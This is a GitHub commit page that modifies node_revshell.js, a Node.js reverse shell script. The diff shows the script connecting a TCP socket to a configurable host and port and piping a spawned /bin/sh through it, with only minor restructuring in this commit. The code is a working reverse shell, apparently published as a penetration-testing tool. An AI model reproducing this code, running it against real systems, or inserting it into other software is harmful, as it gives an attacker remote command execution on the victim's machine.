Skip to content

Commit

Permalink
moved stuff around a bit for rev shell
Browse files Browse the repository at this point in the history
  • Loading branch information
Adam Baldwin committed Jul 14, 2013
1 parent cd56485 commit 2de5b84
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions node_revshell.js
@@ -1,6 +1,5 @@
var net = require('net'),
spawn = require('child_process').spawn,
sh = spawn('/bin/sh',[]);
var net = require('net');
var spawn = require('child_process').spawn;

HOST="localhost";
PORT="1234";
Expand All @@ -9,6 +8,7 @@ TIMEOUT="5000";
function c(HOST,PORT) {
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn('/bin/sh',[]);
client.write("Connected\r\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
Expand Down

0 comments on commit 2de5b84

Please sign in to comment.